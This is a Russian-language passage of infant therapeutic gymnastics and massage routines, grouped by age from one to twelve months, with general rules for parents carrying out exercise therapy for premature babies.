8)Дыхательные упражнения .Повторить 1пр 1 -2.

                               Лечебная гимнастика.

                          Массаж

                  Комплекс № 2.

       Возраст ребенка — от 1 до 2 мес. Продолжительность занятий — 8—10 мин. Каждое упражнение повторяют 3—4 раза.

1. Дыхательное упражнение. Ритмичные надавливания на спину ребенка, передвигая ладонь от шеи до поясницы 

1. Дыхательное упражнение. Ритмичные надавливания на грудную клетку, ее передние и боковые поверхности, обходя грудину.

1.  Дыхательное упражнение. И. п. — лежа на боку (поочередно, левом и правом). Взрослый левой рукой придерживает ребенка, а правой захватывает его кисть. Поднять руку ребенка вверх. Прижать ее обеими руками взрослого к груди и животу ребенка.
2. Массаж рук (поглаживание). Большой палец левой руки взрослый вкладывает в правую руку ребенка, слегка придерживая ее остальными пальцами; правой рукой поглаживает внутреннюю и наружную поверхность предплечья и плеча в направлении от кисти к плечу .

1. Упражнение для рук (рефлекторное). И. п.— лежа на спине, ногами к взрослому. Большими пальцами обеих рук взрослого мягко надавить на ладонную поверхность кистей обеих рук ребенка. При этом происходит сгибание головы, иногда и верхней части туловища.

1. Массаж ног. Поглаживание наружной и задней поверхности голени и бедра по направлению от стопы к бедру, обходя коленную чашечку.

1. Упражнения для стоп. Упражнение для стоп (рефлекторное). Штриховое раздражение наружного края стопы от мизинца к пятке большими пальцами взрослого вызывает отведение стопы кнаружи и нередко веерообразное разведение всех пальцев .

1. Упражнения для стоп (рефлекторное). Указательным и средним пальцами взрослый захватывает ступни ребенка, а большим пальцем нажимает на ступню ребенка у основания пальцев. Это вызывает сгибание пальцев стопы. А затем штриховым движением большой палец взрослого направляют по внутреннему краю стопы ребенка к пятке и по наружному краю к мизинцу. Происходит разгибание стопы .
2. Упражнение для стоп. Поглаживание большими пальцами рук взрослого тыльной поверхности стоп ребенка, поддерживая их 2—3 пальцами обеих рук за пятки. Поглаживания по направлению от основания пальцев к голени, огибая лодыжки круговым движением спереди назад

10)Массаж живота. Круговое (по часовой стрелке) поглаживание живота ладонью взрослого, максимально разогнув пальцы кверху

11)Рефлекс опоры и выпрямления. Взрослый поддерживает ребенка под мышки лицом к себе, стопы ребенка опираются о стол. При соприкосновении ступней полусогнутых ног ребенка с поверхностью стола происходит их разгибание

 12) Шаговый рефлекс. Вызывать шаговый рефлекс, направляя движения ребенка к себе  .

13)Дыхательное упражнение. Исходное положение (и. п.) — лежа на спине. Развести слегка руки ребенка в стороны, скользя ими по поверхности стола, затем прижать их согнутыми к боковым поверхностям грудной клетки.

14)Массаж спины (поглаживание) - по направлению от ягодиц к голове тыльной стороной кисти руки, от головы к ягодицам — ладонью (не поглаживать поясничную область).

15)Массаж грудной клетки (поглаживание). Поглаживание пальцами по межреберным промежуткам по направлению от середины грудной клетки к боковым поверхностям, не нажимая на грудину

16)Развитие зрительного и слухового сосредоточения. Положение ребенка поочередно на спине и на животе. Взрослый ярко звучащей игрушкой вызывает зрительное и слуховое сосредоточение: двигает игрушкой, находящейся на расстоянии 25—30 см, вправо, влево, вверх. Ребенок поворачивает голову за игрушкой

Лечебная гимнастика.

Массаж.

Комплекс № 3.

Возраст ребенка - 2—3 мес. Продолжительность занятий — 8—10 мин. Каждое упражнение повторяют 3—4 раза.

1. Дыхательное упражнение. Исходное положение (и. п.) — лежа на спине. Развести слегка руки ребенка в стороны, скользя ими по поверхности стола, затем прижать их согнутыми к боковым поверхностям грудной клетки.
2. Массаж рук (поглаживание). Большой палец левой руки взрослый вкладывает в правую руку ребенка, слегка придерживая ее, остальными пальцами; правой рукой поглаживает внутреннюю и наружную поверхность предплечья и плеча в направлении от кисти к плечу .

3)ссаж грудной клетки (поглаживание). Поглаживание пальцами по межреберным промежуткам по направлению от середины грудной клетки к боковым поверхностям, не нажимая на грудину .

1.  Массаж живота
   1) круговое поглаживание по часовой стрелке ладонью взрослого, максимально разогнув пальцы кверху
   2) поглаживание «встречное»: левая ладонь направляется снизу вверх, а правая сверху вниз;
   3) поглаживание косых мышц живота. Ладони взрослого расположены на заднебоковых поверхностях грудной клетки; охватывающими движениями они направляются навстречу друг к другу, сверху вниз и кпереди. Пальцы взрослого смыкаются над пупком;
   4) точечный массаж (стимулирующий метод) прямых и косых мышц живота  точки 5).

1. Массаж ног. Поглаживание наружной и задней поверхности голени и бедра по направлению от стопы к бедру, обходя коленную чашечку . Затем вызывается тыльное сгибание стопы надавливанием кончиками пальцев взрослого в месте перехода тыла стопы в голень (точечный массаж).

1. Хватательный рефлекс. И. п. — лежа на спине. Большими пальцами обеих рук взрослый очень легко надавливает на ладони ребенка. Происходит сгибание пальцев в кулак. Если, прикоснуться игрушкой, удобной для захвата, ребенок захватит игрушку.
2. Массаж спины:
   1) поглаживание от ягодиц к голове тыльной стороной кисти рук, от головы к ягодицам — ладонью;
   2) растирание спины также ладонями по направлению к голове;
   3) разминание делают тремя пальцами обеих рук (2-м, 3-м, 4-м). Одновременно проводят круговые и поступательные движения — разминание длинных мышц спины (по обеим сторонам позвоночника);
   4) похлопывание тыльной стороной полусогнутых пальцев. При гипотрофии этот прием неприменим.
3. Рефлекторное упражнение для мышц спины. Ребенка укладывают грудью на ладонь взрослого в наклонном положении, близком к вертикальному. Отступая на 1 см от позвоночника, параллельно ему, наносят штриховое раздражение в направлении от лопаток к ягодицам. Происходит изгибание туловища в форме дуги, открытой в сторону раздражения.
4. Рефлекс опоры и выпрямления. Взрослый поддерживает ребенка под мышки лицом к себе, стопы ребенка опираются о стол. При соприкосновении ступней полусогнутых ног ребенка с поверхностью стола происходит их разгибание
5.  Рефлекс шаговый. Вызывать шаговый рефлекс, направляя движения ребенка к себе

.                                                                 

1. Поворот на бок (поочередно на правый и левый) с помощью взрослого .

 Развитие зрительного и слухового сосредоточения. Положение ребенка поочередно на спине и на животе с опорой на предплечья и приподниманием плечевого пояса и головы. Взрослый ярко звучащей игрушкой вызывает зрительное и слуховое сосредоточение: двигает игрушкой, находящейся на расстоянии 25—30 см, вправо, влево, вверх. Ребенок поворачивает голову за игрушкой

Лечебная гимнастика.

Массаж.

Комплекс № 4.

Возраст ребенка — 3—4 мес. Продолжительность занятий—10 мин. Упражнения повторяют 3—5 раз.

1. Дыхательное упражнение. Исходное положение (и. п.) — лежа на спине. Развести слегка руки ребенка в стороны, скользя ими по поверхности стола, затем прижать их согнутыми к боковым поверхностям грудной клетки.
2. Массаж рук (поглаживание). Большой палец левой руки взрослый вкладывает в правую руку ребенка, слегка придерживая ее, остальными пальцами; правой рукой поглаживает внутреннюю и наружную поверхность предплечья и плеча в направлении от кисти к плечу
3. Массаж грудной клетки (поглаживание). Поглаживание пальцами по межреберным промежуткам по направлению от середины грудной клетки к боковым поверхностям, не нажимая на грудину
4. Массаж живота:
   1) круговое поглаживание по часовой стрелке ладонью взрослого, максимально разогнув пальцы кверху
5. 
6. 
   2) поглаживание «встречное»: левая ладонь направляется снизу вверх, а правая сверху вниз;
   3) поглаживание косых мышц живота. Ладони взрослого расположены на заднебоковых поверхностях грудной клетки; охватывающими движениями они направляются навстречу друг к другу, сверху вниз и кпереди. Пальцы взрослого смыкаются над пупком;
   4) точечный массаж (стимулирующий метод) прямых и косых мышц живота

7)Массаж ног. Поглаживание наружной и задней поверхности голени и бедра по направлению от стопы к бедру, обходя коленную чашечку ). Затем вызывается тыльное сгибание стопы надавливанием кончиками пальцев взрослого в месте перехода тыла стопы в голень (точечный массаж).

1. Хватательный рефлекс. И. п. — лежа на спине. Большими пальцами обеих рук взрослый очень легко надавливает на ладони ребенка. Происходит сгибание пальцев в кулак. Если, прикоснуться игрушкой, удобной для захвата, ребенок захватит игрушку.
2. Массаж спины:
   1) поглаживание от ягодиц к голове тыльной стороной кисти рук, от головы к ягодицам — ладонью;
   2) растирание спины также ладонями по направлению к голове;
   3) разминание делают тремя пальцами обеих рук (2-м, 3-м, 4-м). Одновременно проводят круговые и поступательные движения — разминание длинных мышц спины (по обеим сторонам позвоночника);
   4) похлопывание тыльной стороной полусогнутых пальцев. При гипотрофии этот прием неприменим.
   5) Рефлекторное упражнение для мышц спины. Ребенка укладывают грудью на ладонь взрослого в наклонном положении, близком к вертикальному. Отступая на 1 см от позвоночника, параллельно ему, наносят штриховое раздражение в направлении от лопаток к ягодицам. Происходит изгибание туловища в форме дуги, открытой в сторону раздражения.
3. Рефлекс опоры и выпрямления. Взрослый поддерживает ребенка под мышки лицом к себе, стопы ребенка опираются о стол. При соприкосновении ступней полусогнутых ног ребенка с поверхностью стола происходит их разгибание  

1. Дыхательное упражнение. Исходное положение (и. п.) — лежа на спине. Развести слегка руки ребенка в стороны, скользя ими по поверхности стола, затем прижать их согнутыми к боковым поверхностям грудной клетки

1. Рефлекторное ползание в полувертикальном положении. Туловище ребенка взрослый приподнимает на 5—10 см. Полусогнутые ноги ребенка отталкиваются от ладони взрослого

1. Рефлекторное ползание в положении на спине. Полусогнутыми ногами ребенок отталкивается от ладони взрослого

1. Рефлекторные повороты на бок и на живот, поощряя самостоятельный поворот со спины на живот

1. Рефлекторное упражнение. Отклонение головы назад в положении лежа на животе на весу

1. Рефлекс опоры и подтанцовывание. Взрослый поддерживает ребенка под мышки и ставит на стол до соприкосновения стоп с поверхностью стола, ребенок отталкивается

1. Выкладывание на живот. Развитие зрительного и слухового сосредоточения. Положение ребенка поочередно на спине и на животе с опорой на предплечья и приподниманием плечевого пояса и головы. Взрослый ярко звучащей игрушкой вызывает зрительное и слуховое сосредоточение: двигает игрушкой, находящейся на расстоянии 25—30 см, вправо, влево, вверх. Ребенок поворачивает голову за игрушкой   
2. Переход от рефлекса захвата к развитию хватательной функции руки. Взрослый вкладывает в ладонь ребенка игрушку (кольцо и др.) и, обхватывая и слегка зажимая кисть и пальцы ребенка своей рукой, побуждает его захватить игрушку. Затем взрослый слегка подтягивает ее себе («отнимает» игрушку).

Лечебная гимнастика.
Массаж.

 Комплекс № 5.

       Возраст ребенка — 4—5 мес. Продолжительность занятий — 10—12 мин. Каждое упражнение повторяют 4—5 раз, за исключением упражнений 10 и 11, которые проводят по одному разу.

1. Дыхательное упражнение. И. п. — лежа на боку (поочередно, левом и правом). Взрослый левой рукой придерживает ребенка, а правой захватывает его кисть. Поднять руку ребенка вверх. Прижать ее обеими руками взрослого к груди и животу ребенка.
2. Массаж рук (поглаживание). Большой палец левой руки взрослый вкладывает в правую руку ребенка, слегка придерживая ее остальными пальцами; правой рукой поглаживает внутреннюю и наружную поверхность предплечья и плеча в направлении от кисти к плечу .
3. Массаж ног. Поглаживание наружной и задней поверхности голени и бедра по направлению от стопы к бедру, обходя коленную чашечку .
4. Массаж грудной клетки (поглаживание). Поглаживание пальцами по межреберным промежуткам по направлению от середины грудной клетки к боковым поверхностям, не нажимая на грудину .
5. Массаж живота:
   1) круговое поглаживание по часовой стрелке ладонью взрослого, максимально разогнув пальцы кверху ;
   2) поглаживание «встречное»: левая ладонь направляется снизу вверх, а правая сверху вниз;
   3) поглаживание косых мышц живота. Ладони взрослого расположены на заднебоковых поверхностях грудной клетки; охватывающими движениями они направляются навстречу друг к другу, сверху вниз и кпереди. Пальцы взрослого смыкаются над пупком;
   4) точечный массаж (стимулирующий метод) прямых и косых мышц живота

5)

1. Поворот со спины на живот. Рефлекторные повороты на бок и на живот, поощряя самостоятельный поворот со спины на живот массажспины:
   1) поглаживание от ягодиц к голове тыльной стороной кисти рук, от головы к ягодицам — ладонью;
   2) растирание спины также ладонями по направлению к голове;
   3) разминание делают тремя пальцами обеих рук (2-м, 3-м, 4-м). Одновременно проводят круговые и поступательные движения — разминание длинных мышц спины (по обеим сторонам позвоночника);
   4) похлопывание тыльной стороной полусогнутых пальцев. При гипотрофии этот прием неприменим.

Массаж ягодиц: поглаживание, растирание, разминание, вибрация (рубление, похлопывание, поколачивание).

 «Парение» на животе

1.  Сгибание и разгибание ног попеременно

1. Одновременное сгибание ног с приведением их к животу и разгибание ног

1.  
2.  
3.  Рефлекторное сгибание позвоночника в положении ребенка на весу на спине
4.  

Пассивное сгибание и разгибание рук

1. Попытка ребенка к присаживанию из положения его на спине. Взрослый, фиксируя ноги и захватив руки ребенка, слегка приподнимает его голову, плечевой пояс, а затем пускает снова на стол

1. Упражнения на сопротивление: а) отталкивание от руки, б) отталкивание от мяча

Хватание игрушки из положения  лежа на животе и спине 1 или 2 руками

1. «Скользящие шаги». И. п. — лежа на спине. Взрослый обхватывает голени ребенка спереди, согнув его ноги и прижав ступни к поверхности стола. Попеременно сгибать и разгибать ноги, не отрывая ступни от поверхности стола.
2. Рефлекс опоры и подтанцовывание. Взрослый поддерживает ребенка под мышки и ставит на стол до соприкосновения стоп с поверхностью стола, ребенок отталкивается
    

.

                                          Лечебная гимнастика.

Массаж.

 Комплекс № 6.

       Возраст ребенка — 5—6 мес. Продолжительность занятий - 10-12 мин. Каждое упражнение повторяют 4—6 раз за исключением упражнений 7 и 15, которые проводят 1 раз.

1. Дыхательное упражнение И. п. — лежа на боку (поочередно, левом и правом). Взрослый левой рукой придерживает ребенка, а правой захватывает его кисть. Поднять руку ребенка вверх. Прижать ее обеими руками взрослого к груди и животу ребенка.
2. Массаж рук (поглаживание). Большой палец левой руки взрослый вкладывает в правую руку ребенка, слегка придерживая ее остальными пальцами; правой рукой поглаживает внутреннюю и наружную поверхность предплечья и плеча в направлении от кисти к плечу (рис.8).
3. Массаж ног. Поглаживание наружной и задней поверхности голени и бедра по направлению от стопы к бедру, обходя коленную чашечку (рис.9).
4. Массаж грудной клетки (поглаживание). Поглаживание пальцами по межреберным промежуткам по направлению от середины грудной клетки к боковым поверхностям, не нажимая на грудину (рис.13).
5. Массаж живота:
   1) круговое поглаживание по часовой стрелке ладонью взрослого, максимально разогнув пальцы кверху (рис.10);
   2) поглаживание «встречное»: левая ладонь направляется снизу вверх, а правая сверху вниз;
   3) поглаживание косых мышц живота. Ладони взрослого расположены на заднебоковых поверхностях грудной клетки; охватывающими движениями они направляются навстречу друг к другу, сверху вниз и кпереди. Пальцы взрослого смыкаются над пупком;
   4) точечный массаж (стимулирующий метод) прямых и косых мышц живота (см.рис.1а, точки 5).
6. Массаж спины:
   1) поглаживание от ягодиц к голове тыльной стороной кисти рук, от головы к ягодицам — ладонью;
   2) растирание спины также ладонями по направлению к голове;
   3) разминание делают тремя пальцами обеих рук (2-м, 3-м, 4-м). Одновременно проводят круговые и поступательные движения — разминание длинных мышц спины (по обеим сторонам позвоночника);
   4) похлопывание тыльной стороной полусогнутых пальцев. При гипотрофии этот прием неприменим.
7. Массаж ног — кольцевидное разминание: большим и указательным пальцами обеих рук взрослый обхватывает «кольцами» (вплотную одно над другим) голень ребенка в нижней ее части, затем делает расходящиеся кольцевые разминания голени (не надавливать на переднюю ее поверхность) и в три—четыре оборота продвигается до колена, а дальше разминает только наружные мышцы бедра. Начинать и заканчивать массаж надо поглаживанием.
8. Рефлекторное сгибание позвоночника. И. п.— лежа на спине на весу (рис. 24).
9.  Сгибание и разгибание ног попеременно (рис.22).
10. Одновременное сгибание ног с приведением их к животу и разгибание ног (рис.23).
11.  Поворот со спины на живот. Рефлекторные повороты на бок и на живот, поощряя самостоятельный поворот со спины на живот (рис.15 и рис.18).
12. Массаж спины:
    1) поглаживание от ягодиц к голове тыльной стороной кисти рук, от головы к ягодицам — ладонью;
    2) растирание спины также ладонями по направлению к голове;
    3) разминание делают тремя пальцами обеих рук (2-м, 3-м, 4-м).
    4) Одновременно проводят круговые и поступательные движения — разминание длинных мышц спины (по обеим сторонам позвоночника);
    5) похлопывание тыльной стороной полусогнутых пальцев. При гипотрофии этот прием неприменим.
13. Дополнительно проводится точечный массаж с обеих сторон позвоночника, кнаружи на 1—2 см в сторону от него
14. Массаж ягодичных мышц: поглаживание, растирание, разминание, вибрация (рубление, похлопывание, поколачивание).
15. Рефлекторное упражнение. И. п. — лежа на животе. Укладывают ребенка животом на край стола так, чтобы грудь и голова его были вне стола (взрослый придерживает ребенка за таз и ноги). При этом ребенок должен активно разогнуть шею и туловище, поднимая их выше стола, образуя дугу, открытую вверх: руки ребенка выпрямляются и выдвигаются вперед. Движение стимулируют словом, игрушкой, помогают точечным массажем спины
16. Поднимание ребенка за локти из положения лежа на животе до вставания на колени и на ноги. Малыша побуждают встать с опорой стоп о стол: взрослый поддерживает ребенка под мышки, скользящим движением слегка «протаскивает» его по плоскости стола. Затем, продолжая это движение, несколько приподнимает верхнюю половину туловища, при этом бедра и колени продолжают скользить, касаясь поверхности стола. Ребенок сам становится вначале на одно, затем второе колено, выпрямляется, встает на стопы. Надо повернуть его лицом к себе, улыбнуться, похвалить
17.  Присаживание при поддержке за руки, разведенные на ширину плеч. И. п.—лежа на спине. Взрослый дает обхватить свои указательные пальцы ребенку так, чтобы его ладони были обращены к взрослому, разводит руки на ширину плеч; затем говорит «сядь» и легким подтягиванием за руки побуждает ребенка сесть.
18. Массаж ног, стоп. Поглаживание наружной и задней поверхности голени и бедра по направлению от стопы к бедру, обходя коленную чашечку Затем вызывается тыльное сгибание стопы надавливанием кончиками пальцев взрослого в месте перехода тыла стопы в голень (точечный массаж).
19. Упражнение для стоп (рефлекторное). Штриховое раздражение наружного края стопы от мизинца к пятке большими пальцами взрослого вызывает отведение стопы кнаружи и нередко веерообразное разведение всех пальцев
20. Упражнения для стоп (рефлекторное). Указательным и средним пальцами взрослый захватывает ступни ребенка, а большим пальцем нажимает на ступню ребенка у основания пальцев. Это вызывает сгибание пальцев стопы. А затем штриховым движением большой палец взрослого направляют по внутреннему краю стопы ребенка к пятке и по наружному краю к мизинцу. Происходит разгибание стопы
21. Упражнение на сопротивление: а) отталкивание от руки, б) отталкивание от мяча
22. Хватание игрушки из положения на животе и на спине одной и двумя руками
23. Рассматривание игрушки с приподниманием плечевого пояса и опорой на ладони выпрямленных рук .
24. «Скользящие шаги». И. п. — лежа на спине. Взрослый обхватывает голени ребенка спереди, согнув его ноги и прижав ступни к поверхности стола. Попеременно сгибать и разгибать ноги, не отрывая ступни от поверхности стола).
25.  Рефлекс опоры и подтанцовывание. Взрослый поддерживает ребенка под мышки и ставит на стол до соприкосновения стоп с поверхностью стола, ребенок отталкивается

Лечебная гимнастика.

Массаж.

              Комплекс № 7.

        Возраст ребенка — 6—9 мес.Продолжительность занятия — 12—15 мин. Каждое упражнение повторяют 4—6 раз.

1. Дыхательное упражнение. Взрослый придерживает руки ребенка (можно и за кольцо), отводит их в сторону и вверх (вдох) и скрещивает руки на груди (выдох) попеременно (правую на левую, левую на правую).
2. Общий массаж. Массаж рук (поглаживание). Большой палец левой руки взрослый вкладывает в правую руку ребенка, слегка придерживая ее остальными пальцами; правой рукой поглаживает внутреннюю и наружную поверхность предплечья и плеча в направлении от кисти к плечу
3. Массаж ног. Поглаживание наружной и задней поверхности голени и бедра по направлению от стопы к бедру, обходя коленную чашечку
4. Массаж грудной клетки (поглаживание). Поглаживание пальцами по межреберным промежуткам по направлению от середины грудной клетки к боковым поверхностям, не нажимая на грудину
5. Массаж живота:
   a) круговое поглаживание по часовой стрелке ладонью взрослого, максимально разогнув пальцы кверху ;
   b) поглаживание «встречное»: левая ладонь направляется снизу вверх, а правая сверху вниз;
   c) поглаживание косых мышц живота. Ладони взрослого расположены на заднебоковых поверхностях грудной клетки; охватывающими движениями они направляются навстречу друг к другу, сверху вниз и кпереди. Пальцы взрослого смыкаются над пупком;
   d) точечный массаж (стимулирующий метод) прямых и косых мышц живота (см.
6. Круговые движения руками. Выпрямленные руки из положения вдоль тела отводятся в стороны, затем вперед и возвращаются в исходное положение
7.  Хватание игрушки из положения лежа на спине и на животе одной и двумя руками, побуждая действия ребенка словами «Возьми игрушку»
8. Поворот со спины на живот с придерживанием за ноги (поочередно вправо и влево). Взрослый охватывает голени в нижней трети правой рукой, левой показывает игрушку, которую кладет слева или справа на расстоянии вытянутых рук ребенка, и предлагает достать ее: «достань игрушку», «возьми игрушку»
9. 
10. Активные повороты без помощи или с незначительной помощью. Движение делать поочередно вправо на бок и на живот и влево, побуждая словами «достань игрушку», «повернись на живот».
11. Упражнение на сопротивление: а) отталкивание от руки,
    б) отталкивание от мяча
12. Напряженное выгибание и напряженное сгибание позвоночника (
13.  
14.  
15.  Ползание за игрушкой с помощью. И. п. — лежа на животе. Полусогнутые ноги ребенка упираются в ладонь взрослого, игрушка лежит впереди. Словами «достань игрушку» взрослый стимулирует ползание
16. Ползание на животе за игрушкой без помощи. Взрослый предлагает взять игрушку, лежащую впереди ребенка на расстоянии 50—60 см.
17. Ползание на четвереньках.
    a) Обучают стоять на четвереньках с помощью полотенца, держа его за концы, а также ползать. Движение стимулируют игрушкой и словом
    b) Если упражнение не получается, начинают обучение с ползания на животе.
18. Пассивное упражнение: поднятие выпрямленных ног. Большими и указательными пальцами обеих рук обхватить как бы кольцом голени ребенка так, чтобы большие пальцы были снизу, а указательные сверху, остальные пальцы положить на коленные чашечки; затем поднимать выпрямленные ноги ребенка до вертикального положения, сгибая их в тазобедренных суставах, и вернуться в исходное положение (
19. Присаживание при поддержке за руки, разведенные на ширину плеч. И. п.—лежа на спине. Взрослый дает обхватить свои указательные пальцы ребенку так, чтобы его ладони были обращены к взрослому, разводит руки на ширину плеч; затем говорит «сядь» и легким подтягиванием за руки побуждает ребенка сесть; держась за кольца; при поддержке за одну руку; самостоятельное присаживание   
20.  Вставание на ноги в упор. И. п. — лежа на спине. Взрослый, удерживая ребенка двумя руками под мышки, вначале присаживает его (ноги опираются о живот взрослого), затем ставит на ноги и снова возвращает в исходное положение.
21.  Приподнимание туловища из положения на животе за выпрямленные руки (за кольца) до положения стоя (
22. Упражнение для развития ходьбы. И. п. — стоя на столе лицом к взрослому. Стимулирование переступания в возрасте 7 мес. при поддержке под мышки (1 —3 раза), в возрасте 8-9 мес. - при поддержке за кисти обеих рук.

Правила,
которых необходимо придерживаться при проведении лечебной физкультуры:

1.   Лечебную физкультуру нужно проводить ежедневно, в одно и то же, удобное для семьи, время, она должна стать одним из обязательных режимных моментов.
2. Отдельные упражнения, по совету врача, следует повторять 2—3 раза в день.
3. Начинать занятия надо или за 30 мин. до кормления, или через 45—60 мин. после него.
4. Нельзя делать массаж и гимнастику перед ночным сном.
5. Комната должна быть хорошо проветренной, температура воздуха в ней 22—24°С, а в теплое время года лучше делать лечебную физкультуру при открытом окне или форточке или на свежем воздухе (с 5—6-месячного возраста).
6. Увеличивать физическую нагрузку, как в комплексе лечебной гимнастики, так и в течение дня следует очень постепенно и на протяжении длительного времени. Это очень важно, чтобы не переутомлять ребенка.
7. Недоношенные дети в силу физиологических особенностей быстрее устают и охлаждаются, поэтому в самом начале занятий комплекс лечебной гимнастики можно разделить на две части, проводя его в два приема. Упражнения надо чередовать последовательно: для шеи, плечевого пояса, рук, затем туловища, ног.
8.  Величину нагрузки необходимо регулировать продолжительностью занятий и повторением каждого упражнения в комплексе, темпом, размахом движений, степенью сложности упражнений, чередованием их с паузами отдыха, дыхательными упражнениями.
9.  Для лучшего контакта с ребенком во время занятий нужно исключить отвлекающие моменты: разговоры и нахождение в комнате других людей, громкую музыку, обилие игрушек.
10. Все внимание родителей, проводящих занятие, должно быть сосредоточено на ребенке. При этом упражнения следует сопровождать спокойным, негромким, ласковым обращением к ребенку или звучанием тихой, мелодичной музыки. Надо с 3—4 мес жизни приучать ребенка к речевым указаниям (например, «возьми погремушку, кольцо»), с 8— 9 мес стараться вызвать по слову взрослого самостоятельное исполнение ребенком ряда упражнений. Таким образом, в каждое занятие должны включаться упражнения, способствующие развитию зрительных, слуховых реакций и двигательных навыков.
11. Достижения и успехи ребенка при выполнении упражнений следует учитывать и обязательно поощрять улыбкой, тоном, ласковыми словами. Даже если ребенок не поймет их смысла, то уловит по тону, одобрительное отношение матери или отца.
12. Обращенная к ребенку речь имеет и другое, не менее важное, значение. Четкая, правильная речь родителей, сочетаемая с показом называемой игрушки, действием руки ребенка, например, захватывающей эту игрушку, и т. д., подготавливает его к произношению первых слогов и слов.
13. При проведении гимнастики надо использовать игрушки для более эффективного вызывания с их помощью ответных реакций — движений ребенка, например, повернуться и захватить игрушку. Они должны быть разных цветов, формы, звучания.

 Продолжительность занятий по одному и тому же комплексу зависит от разных причин: степени психо­физического развития ребенка, его возможности усвоить упражнения комплекса. Показанием к увеличению нагрузки, расширению комплекса, переводу на следующий, более сложный, комплекс, помимо возраста ребенка, является его хорошая реакция непосредственно на проводимые упражнения (спокойное поведение, гуление, розовая окраска кожи и слизистых оболочек, теплые конечности).

Переход к занятиям по комплексу с большей психо­физической нагрузкой необходимо делать постепенно, путем введения в старый комплекс нескольких упражнений в тренировке новых навыков последующего комплекса, и лишь через некоторое время полностью заменять упражнения предыдущего комплекса упражнениями нового.

При физическом воспитании недоношенных детей, учитывая несовершенство дыхательной системы, обмена веществ, придается особо важное значение дыхательным упражнениям. Необходимо начинать с дыхательных упражнений, а также перемежать ими некоторые упражнения комплекса. Дыхательные упражнения настоятельно рекомендуется проводить и самостоятельно 3—5 раз в течение дня. Они способствуют повышению снабжения всех органов и тканей, в том числе и центральной нервной системы, кислородом, улучшению общего состояния ребенка. 

При проведении массажа надо помнить о том, что кожа у недоношенных детей первых месяцев жизни тонкая, сухая, легко ранимая. Поэтому вначале используют наиболее щадящие приемы массажа (поглаживание) и лишь постепенно вводятся другие приемы (нежная вибрация, легкое растирание, похлопывание, разминание).

Для проведения гимнастики и массажа необходимы:

1. Стол высотой 70 см, шириной и длиной 120 см, покрытый байковым одеялом, клеенкой и простыней.
2.  Игрушки разных цветов, формы, звучания: погремушки, целлулоидные яркие игрушки с мелодичным звучанием, цветные надувные резиновые мячи диаметром 10 см, кубики цветные высотой 5—10 см, длиной 20—25 см, палки разноцветные длиной 25—35 см, кольца разноцветные диаметром от 6 до 15 см, толщиной от 1 до 3 см.
   1. Пособия для лечебной цели: мешки с песком или пакеты с солью, обшитые материалом,— для укладки головы и туловища в срединное положение при кривошее; мешочки трапециевидной формы, используемые при недоразвитии суставных поверхностей (дисплазия тазобедренных суставов).

Лечебная гимнастика.
Массаж.

Комплекс № 8.

       Возраст ребенка - 9—12 мес. Продолжительность занятия 12—15мин. Каждое упражнение повторяют 4—6 раз.

1. Общий массаж. Массаж рук (поглаживание). Большой палец левой руки взрослый вкладывает в правую руку ребенка, слегка придерживая ее остальными пальцами; правой рукой поглаживает внутреннюю и наружную поверхность предплечья и плеча в направлении от кисти к плечу
2. Массаж ног. Поглаживание наружной и задней поверхности голени и бедра по направлению от стопы к бедру, обходя коленную чашечку
3. Массаж грудной клетки (поглаживание). Поглаживание пальцами по межреберным промежуткам по направлению от середины грудной клетки к боковым поверхностям, не нажимая на грудину
4. Массаж живота:
   a) круговое поглаживание по часовой стрелке ладонью взрослого, максимально разогнув пальцы кверху;
   b) поглаживание «встречное»: левая ладонь направляется снизу вверх, а правая сверху вниз;
   c) поглаживание косых мышц живота. Ладони взрослого расположены на заднебоковых поверхностях грудной клетки; охватывающими движениями они направляются навстречу друг к другу, сверху вниз и кпереди. Пальцы взрослого смыкаются над пупком;
   d) точечный массаж (стимулирующий метод) прямых и косых мышц живота (см.

Круговые движения руками. Выпрямленные руки из положения вдоль тела отводятся в стороны, затем вперед и возвращаются в исходное положение

 Сгибание и разгибание рук с кольцами из положения лежа, сидя и стоя

1. Доставание игрушки. Ребенок должен достать игрушку, которая находится у взрослого на высоте вытянутых рук ребенка

1. Доставание игрушки со стола из положения стоя по просьбе взрослого«достань игрушку»

1. Повороты со спины на живот (самостоятельно, по словесной инструкции).

1. Активное поднятие выпрямленных ног. Ребенок по просьбе должен достать стопами палочку (мяч), находящуюся в руках у взрослого
2.